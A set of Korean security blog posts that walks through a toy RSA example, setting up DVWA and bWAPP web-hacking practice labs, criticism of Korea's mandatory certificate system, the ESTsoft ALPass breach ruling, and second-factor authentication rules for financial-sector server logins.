다음은 RSA의 키 생성 과정을 설명해본다. 하지만 디피헬만보다 훨씬 어렵다. 수학에 소질이 있다면 이해가 쉬울 수도 있다. 


  • 뽀로로와 패티가 비밀연애를 위해 암호화된 연애편지를 주고 받으려 한다면...
  • 뽀로로는 서로 다른 두 소수 (P, Q)를 선택한다.
  • P와 Q를 곱해 N 을 구한다.  (N=PxQ)
  • 오일러 피 함수에 해당되는 φ(N) = (P-1)(Q-1)을 구한다.

  • φ(N) 보다는 작으면서 φ(N)와 서로소인 정수 e를 찾는다.  (1 < e < φ(N)) 

  • 확장된 유클리드 호제법을 이용해 (d x e)/φ(N) 일 때 나머지가 1인 정수 d 를 구한다. 

  • 처음에 선택한 두 소수 (P, Q)는 유출되면 안되므로 삭제한다.

  • 패티도 동일한 과정을 거친다.


위의 과정에서 등장하는 식을 만족하는 숫자들 중에 공개키와 개인키가 존재한다.


먼저 뽀로로의 공개키는 [N , e] 이고 개인키는 [N, d] 이다. 마찬가지로 패티도 패티의 공개키와 개인키를 만들었을 것이다.


뽀로로는 뽀로로의 공개키인 [N, e]를 패티에게 보내고 패티도 마찬가지로 패티의 공개키를 뽀로로에게 보낸다. 이후 두사람은 상대방에게 보낼 연애편지를 상대방에게서 받은 공개키를 이용해 암호화하여 보낸다. 암호화된 연애편지를 받은 뽀로로와 패티는 각자 자신의 개인키로 연애편지를 복호화하여 읽게 된다.


RSA의 암호화와 복호화


위에서 생성한 공개키를 이용해 암호화 할 때는 다음의 식에 따라 암호화 한다.



또한 개인키를 이용해 복호화 할 때는 다음의 식에 따라 복호화 한다.



RSA의 예제


위에 설명한 과정에 따라 키를 만들고 공개키로 암호화하고 개인키로 복호화하는 과정을 실습해보자.


먼저 키를 만든다.


두 소수는  P = 3,  Q = 11 로 정한다.   따라서 N은  33 이다.     ( P = 3,  Q = 11,  N = 33 )


φ(N)을 구하면 ( 3 - 1 ) x ( 11 - 1) 이므로 20 이다.    ( φ(N) = 20 )


따라서 1 보다 크고 20보다 작으면서 20과는 서로소인 e를 구하면 몇개가 나오는데 그중에 7을 선택한다. ( e = 7 )


이젠  (d x e)/φ(N) 일 때 나머지가 1인 정수 d 를 구해야한다. 즉  (d x 7) / 20을 계산했을 때 나머지가 1 이어야 한다.

음... 수학에 소질이 없다보니 막 대입하는 방법밖엔 떠오르지 않는다.  막 대입하다 보니 3을 넣었을 때 나머지가 1이 나온다.


즉 d = 3 이다.   ( d = 3 )


이제 키에 필요한 계산은 다 했다.


즉 공개키는 [ 33, 7 ] 이고 개인키는 [ 33, 3 ] 이다.


이제 공개키로 암호화를 해본다. 암호화 대상은 9 이라는 숫자다.   ( M = 9 )


먼저 9를 공개키의 e승, 즉 7제곱하면 4782969 이고 4782969 mod 33 을 계산하면 15가 나온다. 

즉 9를 RSA로 암호화하면 15가 나오는 것이다. 


9는 평문(M : Message)이고 15는 암호문(C : Ciphertext)이다.


그럼 15를 RSA로 복호화 해본다.


일단 15의 d 승 즉 15의 3승을 계산하면 3375가 나온다. 


다음은 3375 mod 33을 계산한다. 정확하게 처음 메시지인 9가 나온다.



그저 신기할 따름이다. 




정보보안전문가를 꿈꾸는 학생이나 직장인들이 가장 관심있는 분야 중 하나가 바로 웹해킹이다. 인터넷에 널리고 널린 것이 웹사이트이고 그 웹사이트를 뚫고 침투하는 것이 멋있어 보이기 때문이 아닐까 한다. 그런데 분명히 말하지만 그런 행위는 그냥  "도둑질"과 같다.  아니 그런 행위를 하는 사람은 그냥 도둑놈이고 절도범이며 무단침입 현행범이다. 한마디로 범법자다.


하지만 정보보안전문가라면 웹해킹도 분명히 배워야할 분야 중 하나다. 경찰이 도둑놈을 잡기위해서 도둑놈들의 습성과 기술을 이해하고 있어야 하듯 웹서버의 해킹을 방어하고 해커를 잡기 위해서는 그 기술을 이해하고 있어야 하기 때문이다.


분명 "이해"라고 했지 "할 줄 알아야"라고 하지 않았다. 경찰이 도둑을 잡기 위해 도둑질의 모든 기술을 "할 줄"알아야 하는 것은 아니다. "이해"하고 있으면 된다. 정보보안전문가도 마찬가지다. 해킹의 기법들을 "이해"하고 있으면 되지 반드시 "할 줄 알아야"하는 것은 아니다. 물론 일부 "할 줄 알아야"하는 사람도 필요하다. 모의해킹을 할 때 필요하다. 하지만 모든 정보보안전문가가 해킹을 "할 줄 알아야"하는 것은 아니다. 



그렇다면 "이해"하기 위해서는 어떻게 해야할까? 당연히 공부해야 한다. 그리고 초보적인 수준의 웹해킹을 실제로 해보면서 머리로만 이해하는 것이 아니라 실질적으로도 경험해 보는 것도 중요하다. 그래야 머리속에 더 오래..더 확실하게 담아둘 수 있다.


그렇기 때문에 웹해킹을 공부하기 위해서는 실습환경이 필요하다. 인터넷에 널려 있는 것이 웹사이트라 해서 아무 웹사이트에다 해킹 실습을 해서는 안된다. 분명하게 말하지만 그것은 범법행위다. 만약 해당 웹사이트 보안담당자에게 적발되어 고소당한다면 벌금형 혹은 실형에 처해질 가능성도 다분하다. 절대 해서는 안되는 행위다.


안전하게 웹 해킹을 공부할 수 있는 방법이 있다.  직접 웹해킹을 공부할 수 있도록 실습환경을 구축하는 것이다. 몇몇 실습환경 구축에 사용되는 웹소스가 제공되는데 DVWA와 bWAPP라는 솔루션이다. (그냥 게시판 같은 웹 소스다.) 이 두 솔루션은 Apache 웹서버와 MySQL 그리고 PHP 환경에서 동작하는 PHP 소스인데 DB접속정보만 수정하면 DB생성 등 셋업도 자동으로 해주는 것은 물론 취약점에 따라 공격해볼 수 있는 웹페이지와 관련 취약점에 대한 공부도 할 수 있는 링크까지 제공한다. 또한 취약점의 난이도까지 조절이 가능하다.


먼저 DVWA와 bWAPP를 설치하기 위해서는 웹서버가 필요하다. 나는 우분투리눅스 18.04에 Apache + MySQL + PHP를 최신버전으로 설치했다.


아래는 우분투 리눅스에 설치된 Apache2 초기화면이다. 이 환경의 구축을 위해 집에 조립PC가 있고 VSphere 6.7을 설치했다. 시놀로지 NAS를 구입하면 사용할 수 있는 무료DDNS를 이용해 도메인주소를 할당받았고 LG유플러스의 기가랜 공유기에서 제공하는 NAT 기능을 이용해 VSphere에서 구동중인 우분투 리눅스에 접속할 수 있도록 환경을 구축했다.



아파치를 설치하고 나면 DVWA와 bWAPP 홈페이지에서 각각 소스를 다운로드 받는다. 소스는 Zip 파일로 묶여 압축되어 있다.


DVWA 다운로드 URL : http://www.dvwa.co.uk/


bWAPP 홈페이지 : http://www.itsecgames.com/

bWAPP 다운로드 URL (소스포지) : https://sourceforge.net/projects/bwapp/files/bWAPP/


다운로드 받은 zip 파일은 Apache2 웹서버의 DocumentRoot 경로에 각각 DVWA와 bWAPP 디렉토리를 만들고 압축을 풀어준다. 그리고 적절하게 파일 퍼미션을 맞춰준 뒤 MySQL DB접속 정보를 설정해준다. 


DB접속정보는 bWAPP의 경우 settings.php 파일에 설정하며 설정한 뒤 http:// ~~~ /bWAPP/login.php 를 입력해 접속하고 절차에 따라 설정하면 설치가 완료된다. 이후 접속은 http:// ~~~/bWAPP 로 접속하면 된다.


DVWA의 경우  ~/DVWA/config/config.inc.php.dist 를 config.inc.php로 변경하고 이 파일에서 DB접속정보를 설정하면 된다. 그리고 나서 http:// ~~~/DVWA/login.php 를 통해 접속 한 뒤 순서에 따라 설정하면 되는데 필요한 설정이 있을 경우 수정하고 다시 시도할 것을 요구한다. 


모두 설치가 완료되면 각각 로그인을 해야한다. DVAW의 경우 초기 접속 화면은 다음과 같다. 



ID와 비밀번호는 각각 admin / password 다. 접속 후 변경할 수 있다.


접속에 성공하면 아래 화면이 보인다. 왼쪽에 보면 각각 취약점 별로 실습할 수 있는 메뉴가 있다.



CSRF 취약점을 선택하면 해당 취약점에 대한 공격을 실습할 수 있는 페이지가 보여지고 아래쪽에 관련 취약점에 대한 설명을 찾아볼 수 있는 URL 링크를 제공한다.



더 아래쪽에 보면 해당 취약점이 존재할 때의 서버사이트스크립트(여기서는 PHP) 소스를 보여준다.



다음은 bWAPP의 초기 접속 화면이다. 조금 더 귀엽다.????



DVWA는 로그인 한 뒤 취약점의 난이도를 설정할 수 있는데 bWAPP는 로그인 시에 취약점의 난이도를 설정할 수 있게 해준다.

초기 로그인 ID와 비밀번호는 화면에 있듯.. bee / bug 다. 로그인 한 뒤 수정할 수 있다.



로그인하고 나면 취약점의 목록에서 실습할 취약점을 선택하고 Hack 버튼을 누르면 해당 취약점이 존재하는 웹페이지를 보여준다.



HTML 인젝션을 선택하고 Hack 버튼을 누른 상태다. 


이제 열심히 실습하고 모의해킹 전문가가 되어보자~~~ ^^






많은 사람들이 공인인증서는 반드시 폐지되어야 한다고 주장한다. 그리고 대부분의 사람들은 단지 "너무 불편"하다는 이유를 들어 공인인증서는 폐지되어야 한다고 말한다.


맞다. 너무 불편하고 짜증난다. 아직도 은행, 증권사를 비롯한 금융기관들은 공인인증서가 있어야 하고 이 공인인증서를 사용하기 위해 수 많은 별도의 프로그램을 PC에 설치해야 한다. 그리고 그 프로그램들은 PC의 성능을 저하시키고 원인을 알 수 없는 수 많은 에러를 유발하기도 한다.


대한민국의 공인인증서란?

"지구에서 유일하게 전 국민에게 사용을 강요하는 개인의 신원 보증용 전자서명인증서"


원래 우리나라의 공인인증서 제도는 국제적인 시각에서 봤을 때 약간 변태적인 구조다. 우리나라에서 사용하는 공인인증서는 개인에게 발급하여 개인의 신원을 확인하는 용도다. 즉 은행이나 증권회사가 고객의 신원을 검증하고자 하는 목적이다. PKI에 기반한 전자서명인증서를 이렇게 온 국민에게 강요하고 사용하게 하는 국가는 적어도 내가 알기론 지구상에 대한민국 밖에 없다. (있다면 알려주시라...필자가 영어가 짧아서...) 즉, 인터넷 상에서 사용하는 개인의 "인감증명서"라고 할 수 있다.


그런데 원래 PKI 인증서를 일컫는... 지구상에서 공용으로 통용되는 공인인증서는 원래 다수의 이용자가 접속해 이용하는 웹사이트가 가짜가 아님을 보증하는 목적으로 사용되고 있다. 예를 들면 네이버나 다음에 접속할 때 브라우저에 이런 창을 볼 수 있을 것이다.


크롬의 웹사이트 접속 시 안전한 사이트 표시


빨간색 동그라미의 자물쇠 표시가 있다. 흔히 이 표시는 단지 "안전한 사이트"라는 표시로 이해하고 있다. 그리고 조금 더 아는 사람들은 https 로 브라우저와 네이버나 다음이 통신할 때 암호화하여 데이터를 주고 받는다 정도로 이야기 한다. 이정도로만 이해하고 있는 것도 많이 알고 있는 것이다.


그렇다면 어떻게 브라우저는 사용자가 접속한 사이트가 "네이버"나 "다음"이 맞고 안전하다고 판단하여 자물쇠 표시를 해주는 것일까?


그것이 바로 네이버나 다음의 웹서버에 설치되어 있는 "공인인증서"의 역할이다. 저 자물쇠를 클릭하고 자세한 정보를 확인하면 아래와 같은 창이 보인다.



다음에 발급된 공인인증서 상세정보



이 인증서는 웹브라우저를 통해 네이버나 다음에 접속하면 서버에서 "난 이런 서버야~~"라고 브라우저에게 보내주는 인증서다. 브라우저는 이 인증서를 받으면 인증서가 올바른 인증서인지 그리고 인증서에 기재된 도메인과 실제 접속한 도메인이 동일한지 등 여러가지 정보를 공인인증기관에 확인한다. 그리고 문제가 없다면 자물쇠 표시를 통해 안전한 사이트 임을 이용자에게 알려준다. 


다만... 이 웹사이트가 해킹된 상태가 아님을 보증하는 것은 아니다. 단지 이 웹서버의 신원만을 보증하는 것이다. 이 웹서버가 해킹되어 이용자에게 악성코드를 유포하거나 개인정보를 불법적으로 수집하지 않음을 보장하는 것 또한 아니다.


즉... 공인인증서(PKI 기반의 SSL 인증서)는 기관(기업, 공공기관)의 웹서버의 신원을 확인하고 안전한 통신을 목적으로 사용하는 것이 일반적이다. 당연히 IE나 크롬, 사파리 등 웹브라우저는 웹서버가 아니므로 개인이 국제 공인인증기관에서 인증서를 발급 받더라도 사용할 수 있는 기능이 없다. 브라우저에는 개인이 발급받은 공인인증서를 저장하고 있으면서 누군가에게 PC가 "안전한PC"임을 알려줄 수 있는 기능이 전혀 없다. 뭔가 추가적인 플러그인이나 별도의 프로그램을 만들어 웹 브라우저와 연동하지 않으면 사용할 수 없는 것이다. (우리나라에서 금융거래를 위해 공인인증서를 사용할 때 설치하는 ActiveX등의 플러그인이 그 역할을 수행한다.)


그런데 문제는 지금까지 앞에서 설명한 공인인증서는 우리나라의 공인인증기관인 금융결제원, KOSCOM, 한국전자인증 등에서 발급하는 공인인증서가 아니다. 다음이나 네이버 등과 같이 웹서버에는 금융결제원이나 KOSCOM 등에서 발급하는 공인인증서를 적용할 수 없다. 앞에서 설명한 공인인증서는 국제적으로 공인된 베리사인 혹은 코모도 등에서 발급하는 국제공인 인증서다. 결론적으로 대한민국에서 사용하는 공인인증서는 국제적으로 공인된 공인인증서도 아니다. 


즉... 수 년간 공론화 되고 있는 공인인증서 폐지 문제는 대한민국만의 문제이며 브라우저가 문제가 아니다. 브라우저는 국제적으로 공인된 인증서만 "안전한 인증서"로 인정한다. 대한민국에서만 사용하는 공인인증서는 적어도 IE나 크롬 등에게는 "안전한 공인인증서"가 아니다. 게다가 전세계 어느나라도 개인에게 공인인증서를 발급받고 은행이나 증권사에 거래를 위해 접속할 때 "너의 신원을 공인인증서를 이용해서 증명해"라고 요구하지 않는다. 유독 우리나라만 그런 신원 확인 요구를 "개인"에게 "공인인증서"를 통해 증명할 것을 요구하고 있는 것이다. 그것도 얼마 안되긴 하지만 1년마다 돈을 받아가면서 말이다.


흔히 IE와 액티브X가 원흉인 것 처럼 이야기하지만 IE와 액티브X는 장애를 유발할 수 있는 버그가 많고 자체적으로 보안에 취약할 뿐이지 공인인증서와 궁합이 맞지 않는다던가 공인인증서에 적합하지 않다고 말할 근거 자체가 없는 것이다. 그저 IE와 액티브X가 "안전한 공인인증서"로 인정하지 않을 뿐이다. 


공인인증서 폐지가 필요한 이유


그렇다면 우리나라의 공인인증서는 왜 폐지되어야 할까? 단지 불편해서? 우리나라만 개인이 공인인증서를 사용하니까? 핀테크 등 새로운 기술과 비즈니스를 공인인증서가 막고 있어서?


모두 맞다. 하지만 내가 생각하는 공인인증서가 폐지되어야 하는 가장 큰 이유는 개인에게 공인인증서 사용을 강요하는 것은 법의 폭력이라고 생각하기 때문이다. 개인을 식별하고 신원을 확인할 수 있는 다양한 방법이 있었고 새로운 기술이 등장함에도 "전자서명법"이라는 강력한 법으로 기관과 개인을 구분하지 않고 정보통신망을 통한 거래에는 모두 (한국만의)공인인증서를 사용해야 하도록 강요하는 것이 법의 폭력이 아니고 무엇인가?


많은 금융기관과 공공기관을 다니다 보면... 법률 및 법령과 상급기관과 감독기관에서 내려오는 지침 등을 준수하기 위해서는 공인인증서를 사용할 수 밖에 없는 사정을 이야기한다. 만약 내가 그 담당자들의 입장이라도 어쩔 수 없을 것 같다.


그리고 오랜시간 공인인증서 폐지를 위해 많은 분들이 노력한 결과 공인인증서 폐지관련 법안이 국회에 상정되었다. 하지만 여당과 야당의 싸움에 해당 법안의 처리는 차일피일 미뤄지고 있다. 후진적인 정치세력들로 인해 후진적인 공인인증시스템의 생명이 연장되고 있는 것이다.


하루 빨리 개인의 공인인증서 사용의 의무가 폐지되고 다양한 방법으로 본인확인을 할 수 있도록 해야한다. 그리고 궂이 본인확인을 하지 않더라도 다양한 거래가 가능하도록 법을 개정할 필요가 있다고 본다.



  • 늘품아빠 2019.05.13 15:01

    옳소! 좋아요 백만개 누르고 갑니다.

  • J's_Identity 2019.05.13 16:37 신고

    정말 이 쓸대없는 인증제도
    없어져야 한다고 생각합니다!

    • taeho Tae-Ho 2019.05.13 19:30 신고

      너무 불필요하고 불편한 제도죠. 보안1세대 창업 도우미 역할을 크게 했죠.



기업은 개인정보 유출사고가 발생하면 일단 몸을 낮추고 고객은 물론 모든 네티즌들에게 사과한다. 그리고 경찰 및 조사기관의 사고조사에 적극 협조하겠다고 한다. 

그리고 방송통신위원회는 과태료와 과징금 수준을 결정하고 부과한다. 

기업의 태도는 돌변한다. 대부분 과태료 보다는 징벌적 처분인 과징금이 과하다고 징징대고 행정소송을 제기한다. 법원은 기업이 내민 이런저런 소명자료와 핑계를 들여다 보고 과징금이 과하다며 절반이상 씩 감면해 준다.

이 스토리는 일반적으로 기업들이 사고를 쳤을 때 쉽게 찾아볼 수 있는 기업과 검경과 법원이 짜고치는 고스톱 같은 스토리였다.

하지만 요즘.. 개인정보유출사고에 대한 방통위는 물론 검,경과 법원의 태도는 사뭇 다르다. 지난 달 (2019년4월29일) 이스트소프트가 1억2천만원의 과징금이 너무 많다고 제기한 행정소송에서 원고 패소하고 과징금이 확정됐다.

이스트소프트 개인정보 유출사건

이스트소프트는 백신(알약), 압축유틸리티(알집) 등 알 시리즈로 유명한 유틸리티SW와 게임, 보안SW 등을 자체개발해 공급하는 국내 유수의 SW개발사다.

그리고 그 제품들 중 계륵과 같은 제품이 있는데 바로 알패스다. 이용자들이 여러 웹사이트에 접속할 때 사용하는 ID와 비밀번호 관리에 애를 먹는다는 점에 착안 수많은 웹사이트의 ID와 비밀번호를 알패스 서버에 저장하고 해당 사이트에 로그인할 때 자동으로 입력해주는 매우 편리할 수 있지만 엄청난 위험을 감수해야 하는 서비스이자 유틸리티다.

가장 큰 문제는 이용자가 접속하는 수 많은 웹사이트의 ID와 비밀번호를 이스트소프트에서 운용하는 DB서버에 모두 수집해 저장한다는 점이다. 아무리 암호화를 복잡하게 해도 어느 시점에는 암호화 된 비밀번호를 평문으로 복호화 해 전송하거나 마지막 복호화 단계의 키와 암호문이 유출되기 쉬운 지점이 있기 마련이다.

그리고 알패스를 이용해 여러 웹사이트의 ID와 비밀번호를 자동으로 입력하기 위해 이용자들은 IE 브라우저에 알툴바를 설치하고 이스트소프트 통합계정을 통해 로그인을 해야 했다.

지금도 알패스를 제외한 알툴바 서비스는 계속된다.지금도 알패스를 제외한 알툴바 서비스는 계속된다.

아래는 알패스를 이용해 웹사이트에 로그인 할 때의 화면이다.

현재 알패스 서비스는 종료되었다.현재 알패스 서비스는 종료되었다.


사고 조사단의 조사 결과 해커는 다른 곳에서 취득한 ID와 비밀번호와 비밀번호 사전을 이용해 알툴바 로그인에 대입해 로그인이 가능한 이용자를 구분하였고 로그인이 가능한 이용자가 알패스에 등록한 여러 웹사이트의 주소와 ID, 그리고 비밀번호를 수집한 것으로 알려졌다.

그렇게 수집한 알패스 이용자 ID와 비밀번호가 약 17만건, 그리고 17만명이 등록한 외부 웹사이트의 ID와 비밀번호가 약 2,500만건 이라고 알려져 있다. (관련기사 보러가기)

문제는 바로 17만명의 이용자들이 등록한 약2,500만건의 외부 사이트 ID와 비밀번호다. 2차 피해로 이어질 수 있는 매우 치명적인 개인정보이기 때문이다.

해커는 2차 공격 시도와는 별개로 이스트소프트에 "돈 내놔라"를 시전했고 이스트소프트는 곧 바로 해킹사실을 신고했다. 조사단의 추가 조사 결과 해커는 획득한 이용자의 정보를 토대로 신분증 이미지는 물론 매우 상세한 개인정보를 2차 해킹했고 그 정보를 이용해 서버 임대는 물론 전화까지 개통해 추가 공격을 시도했으며 일부는 암호화폐 사이트에 접속해 암호화폐까지 출금한 것으로 확인되어 2차 피해는 현실화되었다.

과태로 1천만원, 과징금 1억2천만원

방통위는 이스트소프트에 과태료는 1천만원, 과징금은 1억2천만원을 부과했다.

조사 결과 여러 문제점들이 발견되었지만 가장 중대한 문제는 "이용자들의 매우 치명적인 개인정보를 수집, 저장하고 있으면서 이용자들의 접속 로그를 분석해 공격을 탐지해내지 못한 과실이 있다"는 점이다.

해커는 소수의 IP에서 여러명의 ID와 비밀번호로 2억건 이상의 접속을 시도하였고 그 중 1억6천만건의 실패 로그가 발생했음에도 이스트소프트는 이를 전혀 탐지하지 못하는 과실을 저질러 의무를 소홀히했다는 판결이다.

하지만 이스트소프트는 과징금이 과하다며 행정소송을 제기했고 오랜 시간의 재판끝에 과징금 1억2천은 정당하다는 판결을 내렸다.


아마도 개인정보유출 사고에 대한 처벌은 점점 더 강해질 것이다. 개인정보 유출이 금전적인 피해로 이어지는 것은 물론 이용자와 이용자의 가족까지도 위협할 수 있기 때문이며 EU의 GDPR 등의 사례를 보더라도 이용자 개인정보보호에 대한 의무를 기업에게 더욱 강하게 요구하는 것이 세계적인 흐름이기 때문이다.

그런 흐름 때문인지 개인정보유출사고(2,540만건)를 일으켜 45억원의 과징금을 부과받아 과징금 취소소송을 제기했던 인터파크도 패소(2018년 7월 판결)하기도 했다. (물론 2심을 지켜봐야겠지만..)

그럼에도 불구하고 아직은 이용자 개인정보에 대한 기업들의 보호조치는 아직까지도 매우 낮은 수준인 것이 사실이다. 대기업에 준하는 기업들만 보더라도 개인정보보호법과 정보통신망법에서 요구하는 개인정보보호와 관련된 요구사항을 준수하기 위해 많은 돈을 어쩔 수 없이 쏟아붓긴 하지만 기업의 정보보호에 대한 의지는 쏟아부운 돈 만큼 보이지 않는 경우가 태반이다.

아무리 돈을 쏟아 부어도 정보보호에 대한 경영진의 의지가 보이지 않는다면 정보보호 수준은 낮아질 수 밖에 없다. 사람의 건강에 비유하자면 건강을 위해 보약 아무리 먹으면 뭐하나 술, 담배는 물론 생활 습관이 엉망인데.. 보약으로 버틸 수 있는데는 한계가 있는 법이다.



  • 2019.08.19 14:24

    비밀댓글입니다

    • taeho Tae-Ho 2019.08.19 23:50 신고

      사건번호까지는 알고 있지는 않습니다. ^^



금융기관의 내부시스템 접근권한을 갖고 있는 사용자들에 의한 개인정보유출사고가 빈번하게 발생하자 금융기관 내부망에 위치한 서버 접근통제를 위한 추가적인 보호 대책이 2014년에 제시됐다. 네트워크, 개인 업무용 컴퓨터의 보안을 강화하고 또 강화했지만 서버에 접근권한을 부여받은 관리자, 개발자, 외부 인력에 의한 개인정보 유출사고가 빈번하게 발생하자 서버 접속 시 강화된 보안 대책의 필요성을 느꼈기 때문이다. 항상 그렇듯 소 잃고 외양간 고치기 식의 보안 강화이긴 하지만 뒤늦게 라도 서버에 에 대한 강화된 접근통제 필요성을 인지했다는 사실 자체만으로도 의미가 있다.


아마도 "서버"에 대한 지식이 많이 부족한 정책 입안자들의 입장에선 그나마 눈에 잘 띄고 사고가 빈번한 네트워크와 데스크탑 컴퓨터의 보안을 우선시할 수 밖에 없었을 것이고 금융시스템의 개발자나 운영자 입장에선 스스로의 발목(?)을 잡는 서버에 대한 보안 이슈는 쉽게 제기하지 않을 수 밖에 없었기 때문에 정작 금융기관의 중요한 정보자산을 실질적으로 저장하고 있는 서버에 대한 접근통제는 뒷전이었던 것이 사실이다.


그렇기 때문에 금융사의 고객정보와 금융 및 거래 정보가 저장되고 유지되는 핵심 자원인 "서버"의 보안을 강화하여야 한다는 이슈는 언젠가는 터져나올 당연한 이슈였다고 할 수 있다.


금융감독원 전자금융감독규정 2013년 12월 개정안 내용


일단 2013년 12월에 발표된 금융감독원의 전자금융감독규정을 보면.. 제14조에 다음과 같은 내용이 추가되어 있다.


제14조(정보처리시스템 보호대책) 금융회사 또는 전자금융업자는 정보처리시스템의 안전한 운영을 위하여 다음 각 호를 포함한 보호대책을 수립·운용하여야 한다. <개정 2013.12.3>


-- 중략 --


  9. 정보처리시스템의 운영체제(Operating System) 계정으로 로그인(Log in)할 경우 계정 및 비밀번호 이외에 별도의 추가인증 절차를 의무적으로 시행할 것 <신설 2013.12.3>


  10. 정보처리시스템 운영체제(Operating System) 계정에 대한 사용권한, 접근 기록, 작업 내역 등에 대한 상시 모니터링체계를 수립하고, 이상 징후 발생 시 필요한 통제 조치를 즉시 시행할 것 <신설 2013.12.3>


위의 제14조 9항과 10항은 서버에 애플리케이션을 통한 간접적인 접근이 아닌 개발자, 시스템운영자, DBA 등 내부자가 Telnet, FTP, SSH 등의 방법을 통해 운영체제의 계정인 root, oracle, jeus 등 시스템관리자 계정 및 개인 계정으로의 접속 시 OTP, ARS, PKI 등의 추가적인 인증 수단을 마련하도록 의무화한 것이라 볼 수 있다.


이러한 조치는 외부 인력 및 내부 인력의 무분별한 서버 직접 접속을 제한하고 접속할 때 실제 접속자가 누구인지를 인증하고 식별함으로써 내부자에 의한 보안사고 발생 시 감사 추적을 용이하게 하고 사고 발생 시점에 서버에 접속한 사용자(개발자, 운영자, 외부 인력 등)가 누구인지를 확인하여 책임추적성을 확보할 수 있게 하기 위함이다.


또한 더 나아가 서버 접속 시 식별한 실제사용자(실명) 정보를 바탕으로 명령어 및 중요 데이터 파일에 대한 실사용자 접근 감사기록을 유지하여 개인정보 및 중요 정보의 유출을 탐지할 수 있게 하기 위함이다. 


물론... 실사용자 기반의 파일 접근 통제를 수행함으로써 개인정보 및 데이터베이스 파일의 유출을 차단할 수도 있다.


서버 Telnet, FTP, SSH 접속 시 2차 인증 구현 방안


서버 운영체제의 계정 접속에 대한 2차 인증 구현을 위해서는 서버 운영체제의 기능만으로는 불가능하다. 이는 운영체제의 인증과정에 추가적인 인증모듈을 강제로 삽입함으로써 구현하여야 하는데 이는 운영체제에 대한 심오한 이해가 있어야 가능한 기술이다.


이러한 기술은 이미 RedCastle 등 SecureOS(시큐어 오에스) 솔루션에 오래전부터 구현되어 있다. SecureOS는 기본적으로 서버에 Telnet, FTP, SSH, rlogin 등의 접속 시 IP, MAC주소, 시간, 서버계정, 서비스 종류에 대한 조합을 통해 추가적인 접속 통제를 하도록 기능이 구현되어 있으며 이 기술은 네트워크 기반의 게이트웨이 방식 서버 접근 제어 솔루션의 기능과는 차별적이리 만큼 뛰어난 접근통제 기술이다.


RedCastle SecureOS를 예로 들면 PKI, OTP, ARS를 통한 2차 인증은 RedCastle SecureOS와 AuthCastle 이라는 2차 인증 솔루션의 연동을 통해 구현된다.


개념도를 그려본다면 다음과 같다.



사용자는 Telnet, FTP, SSH 클라이언트를 통해 평소와 다름없이 접속을 시도하게 되며 1차로 서버 운영제에 접속 시 1차적으로 운영체제의 ID와 Password를 이용한 인증을 하게 된다. 이따금씩 보안솔루션 벤더에서 제공하는 커스터마이징된 "전용 Telnet, SSH 클라이언트"를 사용하도록 하는 솔루션들이 있지만 업무의 편의와 보안성, 안정성, 성능측면에서 볼 때 범용 도구들을 사용할 수 있도록 지원하는 제품을 선택하는 것이 좋겠다. 


서버 운영체제에서 1차적으로 ID와 Password 인증을 마치면 RedCastle의 설치 시 함께 설치된 PAM(Unix 및 리눅스) 혹은 CP(Windows) 모듈에서 추가적으로 OTP, 인증서, ARS 등의 인증을 수행하는 2차 인증과정을 수행하게 된다. 이 때 서버 운영체제의 접속 로그에 더해 실제 운영체제 계정으로 접속한 사용자가 누구인지 사번, 실명 등 실제 접속자의 자연인 정보를 기록할 수 있다. 


게다가 전산실 내부에서 서버의 콘솔장비 혹은 네트워크 장비에 직접 노트북 등의 단말기를 접속한 뒤 서버에 접속하는 경우에도 2차 인증을 강제화할 수 있다.


만약 금융감독규정 14조 9항의 "운영체제 계정으로 서버 접속 시 2차 인증"을 이미 수행하고 있다면 몇몇 솔루션들이 지원하는 실제 접속하는 서버 앞에 게이트웨이 형태의 장비를 두고 해당 장비에 접속할 때 2차 인증을 수행하는 "무늬만 2차 인증"은 아닌지 짚어볼 필요가 있다. IT 직종의 내부 임직원들이라면 게이트웨이를 우회하거나 전산실에 직접 들어가 별도의 장비에서 서버에 직접 접속할 수 있는 취약점을 간파하고 있을 가능성이 매우 높기 때문이다.


실제로 서버의 접속로그를 조회하면 게이트웨이 장비 이외의 IP에서 접속한 흔적이 다수 발견할 수 있는 경우가 많아 보안 담당자들이 당황하는 경우를 종종 볼 수 있다.


그리고 로그인 과정에서 패스워드를 자동으로 입력해주는 경우가 많은데.. 이는 분명 비밀번호에 대한 법적인 요구사항을 심각하게 위배하고 있을 가능성이 높다는 것을 간과해서는 안된다. "패스워드는 복호화가 불가능하도록 단방향 암호화 되어야 한다"는 개인정보보호법을 위반하는 것이며 모든 서버의 ID, Password를 복호화가 가능한 형태로 하나의 DB에 저장하는 것은 오히려 위험을 키우는 상황이 될 수도 있기 때문이다.


이러한 형태의 무늬만 서버 접속 시 2차 인증은 법적으로나 기술적으로 취약점이 많아 문제가 될 가능성이 매우 높다고 볼 수 있다. 그리고 게이트웨이 접속 시 2차 인증이 과연 "운영체제 계정으로 접속 시 2차 인증"을 시행하는 것으로 인정할 수 있는가에 대한 이슈가 언젠가 또 불거질 가능성이 높기 때문이다.


어쨌든 금융기관의 경우 전자금융감독규정의 강제 규정으로 인해 서버 운영체제 계정으로 접속 시 2차 인증을 구현한 사례가 매우 많다. 하지만 아직도 일부 기관에서는 서버 앞단에 위치한 게이트웨이에서 2차 인증을 수행하고 실제 서버에 접속할 때는 ID와 비밀번호 인증만 수행하는 경우가 많다. 심지어 누군가 입사하게 되면 서버 접속을 위한 게이트웨이에 인사시스템과 연동하여 무조건 계정이 생성되고 부서 혹은 업무에 따라 접근 권한을 신청할 경우 접속할 서버의 목록을 보여주고 있어 서버에 접근하는 업무를 하지 않는 임직원이 서버 접근을 위한 게이트웨이 장비에 계정을 갖고 있는 경우가 많다.


이런 경우 게이트웨이 서버에서 취약점이 발견되고 해당 취약점을 악용한다면 비인가자에게 서버 목록이 보이고 원치않게 서버에 접속이 가능해지는 잠재적인 위험이 있다.



  • 지후대디 2014.07.21 07:29 신고

    과거와 달리 요즘은 서버에 접속하려면 통합 접속 통제를
    거치고 개인id 패스워드로 접속해서 처리해야 하거나 otp를 받아야 하거나
    하는등 늘상 서버에 접속하는 일을 하는지라 상당히 불편해진 부분이 많습니다.
    보안을 지키는건 원래 불편한것인가 봅니다 ^^

    • taeho Tae-Ho 2014.07.21 08:02 신고

      보안이 강화되면 "불편함"은 증가하죠~ 뭐라도 한가지 액션을 더 취해야 하니까요.. ^^ 하지만 생각해보면 컴퓨터 보안이든 실생활이나 직장에서든 "안전" 이라는 것을 지키기 위해서는 "불편함"이 따르게 마련이지요~ ^^



